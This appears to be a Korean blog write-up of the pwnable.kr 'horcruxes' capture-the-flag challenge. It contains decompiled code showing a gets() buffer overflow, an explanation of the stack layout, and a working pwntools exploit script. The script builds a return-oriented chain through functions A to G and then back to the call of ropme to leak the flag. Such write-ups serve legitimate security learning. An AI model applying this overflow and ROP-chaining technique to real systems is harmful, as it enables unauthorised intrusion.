본문 바로가기
시스템 해킹/pwnable.kr

[Pwnable.kr] horcruxes

by L3m0n S0ju 2021. 8. 3.


문제 코드가 주어지지 않으므로 실행파일을 가져와서 IDA로 분석합니다. 아래 명령어를 입력하면 파일을 가져올 수 있습니다.

 

scp -P 2222 horcruxes@pwnable.kr:/home/horcruxes/horcruxes ./

 

아래는 IDA로 분석한 코드입니다.


int ropme()
{
  char s[100]; // [esp+4h] [ebp-74h] BYREF
  int v2; // [esp+68h] [ebp-10h] BYREF
  int fd; // [esp+6Ch] [ebp-Ch]

  printf("Select Menu:");
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  alarm(0x3Cu);
  hint();
  init_ABCDEFG();
  v4 = seccomp_init(0);
  seccomp_rule_add(v4, 2147418112, 173, 0);
  seccomp_rule_add(v4, 2147418112, 5, 0);
  seccomp_rule_add(v4, 2147418112, 3, 0);
  seccomp_rule_add(v4, 2147418112, 4, 0);
  seccomp_rule_add(v4, 2147418112, 252, 0);
  seccomp_load(v4);
  return ropme();
}


문제 코드에서 1차 공격지점은 ropme 함수의 gets 함수로 버퍼오버플로우가 일어납니다. 스택의 모양은 아래와 같으며 gets에서 버퍼오버플로우가 일어나면 ropme 함수의 ret까지 오염시킬 수 있습니다. sfp와 gets 시작위치 차이는 gdb에서 확인하면 0x74로 sfp 4바이트를 합친 0x78 바이트만큼 덮어씌우고 ret에 원하는 주소를 덮어씌울 수 있습니다. 바로 플래그를 열람하는 부분 주소를 덮어씌우고 싶으나 해당 주소 0x080a010b에는 0a 바이트가 포함되어 있으므로 0a는 아스키드로 \n을 의미하므로 gets함수가 종료된다. 따라서 다른 방법을 사용해야 한다.

 

+==================+

|                 ...                   |

|        ropme 함수 ret          |

|        ropme 함수 sfp          |

|                 ...                   |

|               gets                  |

|                                      |

|                                      |

+==================+

 


int A()
{
  return printf("You found \"Tom Riddle's Diary\" (EXP +%d)\n", a);
}

 

함수 A를 살펴보면 EXP 값을 출력한다. 따라서 A부터 G까지 순서대로 출력하면 모든 EXP 값을 알 수 있고 ropme 함수에 접근할 수 있다면 문제에서 요구한대로 모든 EXP값을 더하여 제출하여 플래그가 출력할 수 있다. ropme 함수의 시작주소는 0a가 포함되어 있으므로 사용불가능하지만 아래와 같이 main 함수에 ropme 함수를 call하는 명령어 주소 0x0809fffc를 ret에 덮어씌우면 ropme를 호출할 수 있다. 스택은 아래와 같이 바뀐다.

 

0x0809fffc <+216>:   call   0x80a0009 <ropme>

 

+==================+

|                 ...                   |

|          0x0809fffc               |

|                 G                   |

|                 ...                   |

|                 C                   |

|                 B                   |

|          ret -> A                 |

|          sfp -> aaaa             |

|                 ...                   |

|         gets -> aaaa             |

|                                      |

|                                      |

+==================+

 

 

 

 

 

익스플로잇 코드


from pwn import *
r=remote("localhost",9032)
context.log_level='debug'


def main():   

    A=0x0809fe4b 
    B=0x0809fe6a  
    C=0x0809fe89  
    D=0x0809fea8  
    E=0x0809fec7  
    F=0x0809fee6  
    G=0x0809ff05  
    ropme= 0x809fffc // ropme 호출 명령어 주소

    r.recvuntil('Select Menu:')
    r.sendline("1") // 아무 숫자 넣어도 상관 X

    r.recvuntil('How many EXP did you earned? : ')
    payload=b'a' * (0x78)
    payload += p32(A) 
    payload += p32(B)
    payload += p32(C)
    payload += p32(D)
    payload += p32(E)
    payload += p32(F)
    payload += p32(G)
    payload += p32(ropme)   
    r.sendline(payload)

    sum=0
    for i in range(7):
         r.recvuntil('EXP +')
         sum+=int(r.recvuntil(')')[:-1])
    print('[SUM] :' + str(sum))

    r.interactive()

if __name__ == '__main__':
    main()

 


플래그

'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] fsb  (0) 2021.08.07
[Pwnable.kr] tiny_easy  (0) 2021.08.04
[Pwnable.kr] asm  (0) 2021.08.01
[Pwnable.kr] memcpy  (0) 2021.07.31
[Pwnable.kr] uaf  (0) 2021.07.30

댓글